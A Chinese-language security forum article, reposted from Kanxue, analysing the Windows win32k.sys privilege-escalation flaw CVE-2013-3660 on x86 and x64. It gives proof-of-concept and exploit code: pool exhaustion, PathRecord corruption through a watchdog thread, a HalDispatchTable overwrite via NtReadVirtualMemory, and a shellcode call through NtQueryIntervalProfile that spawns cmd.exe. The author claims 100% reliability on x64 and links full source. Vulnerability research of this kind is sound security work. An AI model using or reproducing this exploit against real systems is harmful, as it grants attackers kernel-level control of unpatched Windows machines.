查看原文
其他

Microsoft Windows提权漏洞CVE-2013-3660 x86、x64双平台分析

ExploitCN 看雪学苑 2022-07-01


本文为看雪论坛优秀文章

看雪论坛作者ID:ExploitCN




前言


1. 概述


CVE-2013-3660是来自Google安全团队的研究人员Tavis Ormandy在对win32.sys做内存压力发现的,经过分析,发现是win32k.sys模块的一处本地提权漏洞,他本人也因此获得Pwnie Awards 2013提名。


2. 非常重要的说明


本文重点、亮点: 全网首发成功率100%的x64平台EXP。

针对文章要说明的几点:

① 本文不做基础知识普及,只对核心漏洞代码、利用代码进行说明;

② 阅读本文之前,先阅读x86平台的知识点:
https://www.anquanke.com/post/id/205867
https://bbs.pediy.com/thread-178154.htm


③ 不管是在github,还是国内网站,都是针对x86的系统对漏洞进行利用,EXP也仅仅是针对x86,并不能扩展到x64系统上。

④ 本文介绍了x64系统上的EXP编写、分析、调试;

⑤ 在x64位操作系统上,现在并没有直接可用的代码,经过研究,本人编写的EXP,成功率达到100%(原来x86下代码成功率为40%左右,x64下没有可直接使用的代码)。

⑥ 本文着重于指导EXP编写,尤其是x64系统下的EXP编写。




POC分析


1. 漏洞原因


原因主要是两点:

① 如果内存分配失败,图1中的new_PathRecord的next指针不会被初始化,从而指向的受污染数据。

② 没有对freelist空闲链表获取的内存节点进行初始化操作。见图2。
读到这里,如果还不理解污染数据是怎么污染池的,没关系,在第4节我会把调试的内存贴出来,就理解怎么污染到数据的了。

图1 new_PathRecord指针未初始化

图2 分配受污染的freelist链表


2. POC关键代码


POC代码关键点,分为三步:

1)消耗系统内存:
for (Size = 1 << 26; Size; Size >>= 1) { while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) { NumRegion++; } }


2)填入垃圾数据:
PathRecord = (PPATHRECORD)VirtualAlloc(NULL, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); PathRecord->next = (PATHRECORD*)(0x41414143); PathRecord->prev = (PATHRECORD*)(0x42424244); PathRecord->flags = 0; for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = 0; PointTypes[PointNum] = PT_BEZIERTO; }

3)触发漏洞:
for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); EndPath(Device); }


图4 漏洞触发函数调用关系图

 
注意上图中的红色字体,那是FlattenPath函数的调用关系。


3. POC运行结果


运行上面POC关键代码之前,我们还需要确定一件事情,Points[PointNum].x 和Points[PointNum].y的在内存中实际读取的值,是不是就是x、y的值?我们先把x、y赋值成0x41414141,看看运行结果。

POC运行结果见下图,由图可见,当Points[PointNum].x 等于0x41414141的时,出现异常时,读取的数值实际为0x41414140,被左移了4位。所以,在写地址的时候,要右移4位,才能得到准确的地址。这就了为什么
Points[PointNum].x = (ULONG_PTR)(0x41414141) >> 4,
要右移4位的原因。
图5 POC运行结果


4. POC数据分析


根据3节的分析可知,我们按照2节的代码运行时,堆数据的内容,如下:

图6 POC数据分析图
 
在上图中,ebp+8,就是PATHRECORD结构体指针,从堆数据内容可以看出,在第二次调用newpathrec出现异常时,堆里面的0xfe580104的next指针指向0x000f0000,而这就是PathRecord申请的堆地址,堆地址的内容就是x、y的数值。如果还不明显,我再放一张图:




EXP分析


1. EXP关键原理分析


1.1 原始版EXP原理图


原始版的EXP原理图,见下图。

图7 原始版EXP原理图

EXP关键代码是:
ExploitRecord.next = (PPATHRECORD)*DispatchRedirect;ExploitRecord.prev = (PPATHRECORD)&HalDispatchTable[1];ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;ExploitRecord.count = 4;

为什么代码这么写?见下图:

图8 Exploit利用点

在上图中,结合图7,变量a2就是ExploitRecord,它的prev是&HalDispatchTable[1],所以new_PathRecord->prev就等于&HalDispatchTable[1],再取next(next刚好偏移为0),实际就取到了HalDispatchTable[1]。

由图3、图7,再根据EXP关键代码可知,执行完第41行之后,HalDispatchTable[1]将会被写入new_PathRecord,这个地址是不可控的,但里面的next和prev将会分别是(PPATHRECORD)DispatchRedirect、(PPATHRECORD)&HalDispatchTable[1]。

此时, 调用HalDispatchTable[1]函数,将会调用ExploitPathRecord的堆地址,比如是:0xf0000。此时,0xf0000地址的内容已经是ExploitRecord.next指针的内容(PPATHRECORD)DispatchRedirect,这就意味着,next指针既要是一个有效的地址,也要是一个可执行的代码。这就是为什么一些EXP要有这个函数的原因:
// nt!NtQueryIntervalProfile的第二个参数就是shellcode地址,// 而0x40,就是ebp相对于第二个参数的偏移。// 具体调试结果见EXP调试一节。VOID __declspec(naked) HalDispatchRedirect(VOID){ __asm inc eax __asm jmp dword ptr[ebp + 0x40]; // 0 __asm inc ecx ...........}


1.1 升级版EXP原理图


当使用x64操作系统的时候,由于只有fastcall,也就是寄存器传参,所以无法再使用上述办法编写EXP,升级后的原理,如下图:

图8 升级版EXP原理图

当把图3中的new_PathRecord写入MmUserProbeAddress之后,就可以通过:
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);
调用,来实现把申请的堆地址写入HalDispatchTable+8,这时,调用NtQueryIntervalProfile就会调用到shellcode。之前已经把shellcode写入了堆。


2. EXP调试


在watchdog 函数里面,写 __asm {int 3},然后断下,调试过程如下图:

上面是x86下原始版代码调试过程截图,对于x64下的调试,和x86异曲同工,就没有截图进行说明了。因为从原理也可以看出,其实x64下的调试过程更简单,但是EXP编写的技巧更强,这里,我就介绍下x64平台下编写EXP的技巧,调试的话,就各位自己下来调试了。


3. x64平台EXP关键代码详解


3.1 将shellcode地址写入目标地址

CodeAddr = (PVOID)0x1000; DWORD_PTR AllocSize = 0x1000; DWORD_PTR ADDR = 0; while (true) { DWORD ret = NtAllocateVirtualMemory((HANDLE)-1, &CodeAddr, 0, &AllocSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (ret != 0) { ADDR = (DWORD_PTR)CodeAddr + 0x1000; CodeAddr = (PVOID)ADDR; continue; } else { break; } } NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr); printf("NtReadVirtualMemoryBuffer %p CodeAddr shellcode address:%p\n", \ NtReadVirtualMemoryBuffer, CodeAddr); printf("ShellCode_END = %p\n", ShellCode_END); printf("ShellCode = %p\n", ShellCode); printf("%x\n", (PBYTE)ShellCode_END - (PBYTE)ShellCode); memcpy(CodeAddr, ShellCode, (PBYTE)ShellCode_END - (PBYTE)ShellCode);

通过while循环,找到一个最低的堆地址,然后把这个地址作为长度,分配相应大小的空间。因为
把shellcode函数地址写入HalDispatchTable的代码是:
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);

前面已经分析过,现在我们结合代码,再来看看。


NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
这里,
假如分配地址是0x1F0000,那么分配的内存大小就是0x1F0000,因为NtReadVirtualMemory,的最后一个参数是读入的实际大小,这儿需要定义成地址大小,那么就把CodeAddr这个地址,作为长度写入了HalDispatchtable+8。
NtReadVirtualMemory->长度写入HalDispatchtable+8->NtQueryIntervalProfile->调用写入的长度(地址)。


3.2 通过watchdog实现Exploit


第一部分:通过while循环写入垃圾数据:
while (TRUE) { Device = GetDC(NULL); Mutex = CreateMutex(NULL, FALSE, NULL); WaitForSingleObject(Mutex, INFINITE); printf("Mutex = %x\n", Mutex); Thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WatchdogThread, NULL, 0, NULL); if ( Thread ==NULL) { printf("Create Thread Failed!\n"); continue; } printf("start CreateRoundRectRgn\n"); for (Size = 1 << 26; Size; Size >>= 1) { while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) { NumRegion++; } } printf("Allocated %u/%u HRGN objects\n", NumRegion, MaxRegions); printf("Flattening curves...\n"); for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); if (PathRecord->next!=PathRecord) { DWORD_PTR ret = FALSE; SIZE_T Count = 0; //CodeAddr写入HalDispatchTable,写入HaliQuerySystemInformation printf("CodeAddr = %x\n", (SIZE_T)CodeAddr); printf("NtReadVirtualMemoryBuffer = %p\n", NtReadVirtualMemoryBuffer); printf("HalDispatchTable = %p\n", HalDispatchTable); ret = NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable); printf("ret = %x\n", ret); if ( ret == NULL) { //在下面的调用shellcode那里打断点 ULONG ret = 0; NtQueryIntervalProfile((ULONG)pShellCodeInfo, &ret); ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW); return; } } EndPath(Device); } while (NumRegion) { DeleteObject(Regions[--NumRegion]); } printf("cleaning up...\n"); ReleaseMutex(Mutex); WaitForSingleObject(Thread, INFINITE); ReleaseDC(NULL, Device); ReleaseDC(NULL, Device); printf("ReStarting!\n"); }}

第二部分:通过看门狗把PathRecord->next替换成ExploitPathRecord
DWORD WINAPI WatchdogThread(LPVOID Parameter){ printf("Enter WatchdogThread!\n"); if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { printf("InterlockedExchangePointer\n"); while (NumRegion) { DeleteObject(Regions[--NumRegion]); } InterlockedExchangePointer((volatile PVOID*)&PathRecord->next, &ExploitRecord); } else { printf("Mutex object did not timeout, list not patched\n"); } printf("Leave WatchdogThread!\n"); return 0;}


4. x64平台EXP编写注意事项


① 写shellcode函数的时候,不能通过全局参数传入函数地址去调用函数。因为汇编下的函数调用,跳转是相对下一条指令地址的跳转,通过memcpy拷贝shellcode函数到堆里面之后,这个偏移就是错误的。所以,只能通过形参把参数传进来,这样传递进来的地址,汇编之后,就会看到,函数的调用,是用类似call[rbx+0x20]这样的调用来实现的,而不是相对偏移实现。

② 修改了MmUserProbeAddress之后,如果没有及时恢复,还继续调试,系统会随时崩溃,这个时候最好是确保后续代码正确性,减少调试时间

③ shellcode函数实际上是仿冒的HaliQuerySystemInformation函数,所以NtQueryIntervalProfile->KeQueryIntervalProfile->HaliQuerySystemInformation
实际是假冒的HaliQuerySystemInformation。NtQueryIntervalProfile第一个参数,就是HaliQuerySystemInformation的第三个参数Buffer取值。

④ 现在流行的EXP没有在最后利用、消耗内存的时候加入while循环,导致成功率不足40%,而且没有直接可用的x64平台代码。我在利用、消耗的地方加入了while循环,成功率提升到100%。当然,这看似很简单的操作,需要你去实际调试、总结,才可能想得出办法。

⑤ NtReadVirtualMemory((HANDLE)-1, 
NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8)中,CodeAddr在函数之外是堆地址,在作为函数形参的时候是长度。

之所以没有直接将shellcode地址作为NtReadVirtualMemory的参数,是因为x64平台的地址太大了,分配不了如此大的空间。实际在EXP编写代码时候,要从最小地址搜索,通过while循环,慢慢增加,搜索到一个最小的可分配的堆地址,然后分配和地址相同大小的空间之后,作为NtReadVirtualMemory第四个参数,就可以把堆地址写入目标地址了。




提权复现


你下载跟我相同版本的系统,成功率会是100%。




源代码下载


源代码已经上传github,下载地址为:
CVE-2013-3660 x64平台源代码
(https://github.com/ExploitCN/CVE-2013-3660-x64-WIN7)


 


看雪ID:ExploitCN

https://bbs.pediy.com/user-home-945611.htm

*本文由看雪论坛 ExploitCN 原创,转载请注明来自看雪社区




# 往期推荐

1.Flutter应用逆向分析相关讨论

2.XX弹幕投票助手分析

3.什么是runC?

4.CTF实战练习:web-Loginme

5.CTF实战练习Cmcc_simplerop

6.python_mmdt:KNN机器学习分类结果测试分析






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存